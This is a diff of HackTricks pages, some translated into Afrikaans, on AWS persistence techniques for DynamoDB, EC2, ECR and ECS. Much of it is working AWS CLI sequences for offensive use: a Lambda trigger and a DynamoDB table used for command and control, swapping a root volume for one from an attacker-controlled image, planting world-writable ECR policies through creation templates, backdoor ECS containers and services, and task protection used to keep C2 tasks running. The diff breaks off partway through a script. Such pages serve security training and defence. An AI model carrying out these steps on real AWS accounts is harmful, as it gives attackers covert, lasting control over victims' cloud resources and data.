||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Om persistence te behou, kan die aanvaller items in die DynamoDB-tabel skep of wysig, wat die kwaadwillige Lambda-funksie sal aktiveer. Dit stel die aanvaller in staat om kode binne die AWS-rekening uit te voer sonder direkte interaksie met die Lambda-funksie.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
'n aanvaller kan 'n DynamoDB-tabel gebruik as 'n **command and control (C2) channel** deur items te skep wat opdragte bevat en gekompromitteerde instansies of Lambda-funksies te gebruik om hierdie opdragte op te haal en uit te voer.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
Die gekompromitteerde instansies of Lambda-funksies kan periodiek die C2-tabel vir nuwe opdragte nagaan, dit uitvoer en opsioneel die resultate terug aan die tabel rapporteer. Dit stel die aanvaller in staat om aanhoudende toegang en beheer oor die gekompromitteerde hulpbronne te behou.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,58 +0,0 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
# AWS - EC2 Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Vir meer inligting, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
As a defender ontdek dat 'n **EC2 instance was compromised**, sal hy waarskynlik probeer om die **network** van die masjien te **isolate**. Hy kan dit doen met 'n eksplisiete **Deny NACL** (maar NACLs beïnvloed die hele subnet), of deur **changing the security group** sodat dit **any kind of inbound or outbound** verkeer nie toelaat nie.
|
||||
|
||||
As an attacker 'n **reverse shell originated from the machine** gehad het, selfs al is die SG gewysig om inboud of outbound verkeer nie toe te laat nie, sal die **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Hierdie diens laat toe om die **schedule** van die **creation of AMIs and snapshots**, en selfs om dit te **share them with other accounts**. An attacker kan die **generation of AMIs or snapshots** van alle images of volumes op **every week** skeduleer en dit **share them with his account**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
Dit is moontlik om instances te schedule om daagliks, weekliks of selfs maandeliks te hardloop. An attacker kan 'n masjien met high privileges of interessante toegang draai wat hy kan benut.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances is **cheaper** as gewone instances. An attacker kan 'n **small spot fleet request for 5 year** (byvoorbeeld) loods, met **automatic IP** toekenning en 'n **user data** wat aan die attacker stuur **when the spot instance start** en die **IP address**, en met 'n **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker kan toegang tot die instances kry en hulle backdoor:
|
||||
|
||||
- Deur byvoorbeeld 'n tradisionele **rootkit** te gebruik
|
||||
- Voeg 'n nuwe **public SSH key** by (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring the **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Ruil die root EBS volume van 'n running instance uit vir een gebou vanaf 'n attacker-controlled AMI of snapshot met behulp van `CreateReplaceRootVolumeTask`. Die instance behou sy ENIs, IPs, en role, en boot effektief in kwaadwillige kode terwyl dit onveranderd voorkom.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Skep 'n VPN sodat die attacker direk na die VPC kan verbind.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Skep 'n peering connection tussen die victim VPC en die attacker VPC sodat hy toegang tot die victim VPC kan kry.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik **ec2:CreateReplaceRootVolumeTask** om die root EBS-volume van 'n lopende instansie te vervang met een wat uit 'n deur die aanvaller beheerde AMI of snapshot herstel is. Die instansie word outomaties herbegin en hervat met die deur die aanvaller beheerde root-lêerstelsel, terwyl ENIs, private/public IPs, aangehegte nie-root-volumes, en die instansie se metadata/IAM role behoue bly.
|
||||
|
||||
## Vereistes
|
||||
- Teiken-instansie is EBS-backed en lopend in dieselfde streek.
|
||||
- Kompatibele AMI of snapshot: dieselfde argitektuur/virtualisering/boot-modus (en produk-kodes, indien enige) as die teiken-instansie.
|
||||
|
||||
## Voorafkontroles
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Vervang root vanaf AMI (verkieslik)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternatief deur 'n snapshot te gebruik:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Bewyse / Verifikasie
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Verwag: ENI_ID en PRI_IP bly dieselfde; die root volume ID verander van $ORIG_VOL na $NEW_VOL. Die stelsel boot met die lêerstelsel van die attacker-controlled AMI/snapshot.
|
||||
|
||||
## Notas
|
||||
- Die API vereis nie dat jy die instansie handmatig stop nie; EC2 orkestreer 'n herbegin.
|
||||
- Standaard word die vervangde (ou) root EBS-volume losgemaak en in die rekening gelaat (DeleteReplacedRootVolume=false). Dit kan vir rollback gebruik word of moet verwyder word om koste te vermy.
|
||||
|
||||
## Rollback / Opruiming
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,101 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
|
||||
'n aanvaller kan **upload a Docker image containing malicious code** na 'n ECR repository oplaai en dit gebruik om persistence in die geteikende AWS-rekening te handhaaf. Die aanvaller kan dan die malicious image op verskeie dienste binne die rekening, soos Amazon ECS of EKS, stilweg uitrol.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Voeg 'n beleid by op 'n enkele repository wat jou (of almal) toegang tot daardie repository gee:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Neem kennis dat ECR vereis dat gebruikers **toestemming** het om oproepe te maak na die **`ecr:GetAuthorizationToken`** API deur 'n IAM-beleid **voordat hulle kan autentiseer** by 'n registry en enige images na of van enige Amazon ECR repository kan push of pull.
|
||||
|
||||
### Registerbeleid & Kruis-rekening replikasie
|
||||
|
||||
Dit is moontlik om 'n registry outomaties in 'n eksterne rekening te repliseer deur kruis-rekening replikasie te konfigureer, waar jy die **eksterne rekening moet aandui** waarin jy die registry wil repliseer.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eers moet jy die eksterne rekening toegang gee tot die registry met 'n **registry policy** soos:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Pas dan die repliseringskonfigurasie toe:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor for future repos)
|
||||
|
||||
Misbruik ECR Repository Creation Templates om outomaties enige repository te backdoor wat ECR onder 'n beheerde prefix self skep (byvoorbeeld via Pull-Through Cache of Create-on-Push). Dit verleen volhoubare ongemagtigde toegang tot toekomstige repos sonder om bestaande te raak.
|
||||
|
||||
- Benodigde perms: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (used by the template), iam:PassRole (if a custom role is attached to the template).
|
||||
- Impak: Enige nuwe repository wat onder die geteikende prefix geskep word, erf outomaties 'n attacker-controlled repository policy (bv. cross-account read/write), tag mutability, en scanning defaults.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor future PTC-created repos under a chosen prefix</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
# 1) Prepare permissive repository policy (example grants everyone RW)
|
||||
cat > /tmp/repo_backdoor_policy.json <<'JSON'
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "BackdoorRW",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "*"},
|
||||
"Action": [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer",
|
||||
"ecr:InitiateLayerUpload",
|
||||
"ecr:UploadLayerPart",
|
||||
"ecr:CompleteLayerUpload",
|
||||
"ecr:PutImage"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
|
||||
aws ecr create-repository-creation-template --region $REGION --prefix ptc2 --applied-for PULL_THROUGH_CACHE --image-tag-mutability MUTABLE --repository-policy file:///tmp/repo_backdoor_policy.json
|
||||
|
||||
# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
|
||||
# This example caches from Amazon ECR Public namespace "nginx"
|
||||
aws ecr create-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc2 --upstream-registry ecr-public --upstream-registry-url public.ecr.aws --upstream-repository-prefix nginx
|
||||
|
||||
# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
|
||||
acct=$(aws sts get-caller-identity --query Account --output text)
|
||||
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
|
||||
|
||||
docker pull ${acct}.dkr.ecr.${REGION}.amazonaws.com/ptc2/nginx:latest
|
||||
|
||||
# 5) Validate the backdoor policy was applied on the newly created repository
|
||||
aws ecr get-repository-policy --region $REGION --repository-name ptc2/nginx --query policyText --output text | jq .
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,103 +0,0 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Backdoor Container in Existing ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities.
|
||||
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
|
||||
### Undocumented ECS Service
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
|
||||
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,152 @@
|
||||
# AWS - ECS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECS
|
||||
|
||||
Vir meer inligting, sien:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Periodic ECS Task
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
An attacker kan 'n hidden periodic ECS task skep deur Amazon EventBridge te gebruik om **schedule the execution of a malicious task periodically**. Hierdie task kan reconnaissance uitvoer, exfiltrate data, of persistence handhaaf in die AWS rekening.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an Amazon EventBridge rule to trigger the task periodically
|
||||
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
|
||||
|
||||
# Add a target to the rule to run the malicious ECS task
|
||||
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
|
||||
{
|
||||
"Id": "malicious-ecs-task-target",
|
||||
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
|
||||
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
|
||||
"EcsParameters": {
|
||||
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
|
||||
"TaskCount": 1
|
||||
}
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Backdoor Container in Bestaande ECS Task Definition
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
’n aanvaller kan ’n **stealthy backdoor container** by ’n bestaande ECS task definition voeg wat langs legitieme containers loop. Die backdoor container kan gebruik word vir persistence en om skadelike aktiwiteite uit te voer.
|
||||
```bash
|
||||
# Update the existing task definition to include the backdoor container
|
||||
aws ecs register-task-definition --family "existing-task" --container-definitions '[
|
||||
{
|
||||
"name": "legitimate-container",
|
||||
"image": "legitimate-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
},
|
||||
{
|
||||
"name": "backdoor-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": false
|
||||
}
|
||||
]'
|
||||
```
|
||||
### Ongedokumenteerde ECS-diens
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Toets
|
||||
|
||||
'n aanvaller kan 'n **ongedokumenteerde ECS-diens** skep wat 'n kwaadwillige taak uitvoer. Deur die verlangde aantal take op 'n minimum te stel en logging uit te skakel, word dit moeiliker vir administrateurs om die kwaadwillige diens op te let.
|
||||
```bash
|
||||
# Create a malicious task definition
|
||||
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
|
||||
{
|
||||
"name": "malicious-container",
|
||||
"image": "malicious-image:latest",
|
||||
"memory": 256,
|
||||
"cpu": 10,
|
||||
"essential": true
|
||||
}
|
||||
]'
|
||||
|
||||
# Create an undocumented ECS service with the malicious task definition
|
||||
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
|
||||
```
|
||||
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
|
||||
|
||||
Misbruik ecs:UpdateTaskProtection om te verhoed dat service tasks deur scale‑in events en rolling deployments gestop word. Deur die beskerming voortdurend te verleng, kan 'n aanvaller 'n langlewende taak aan die gang hou (vir C2 of dataversameling) selfs al verlaag verdedigers desiredCount of push nuwe taakrevisies.
|
||||
|
||||
Stappe om te reproduseer in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
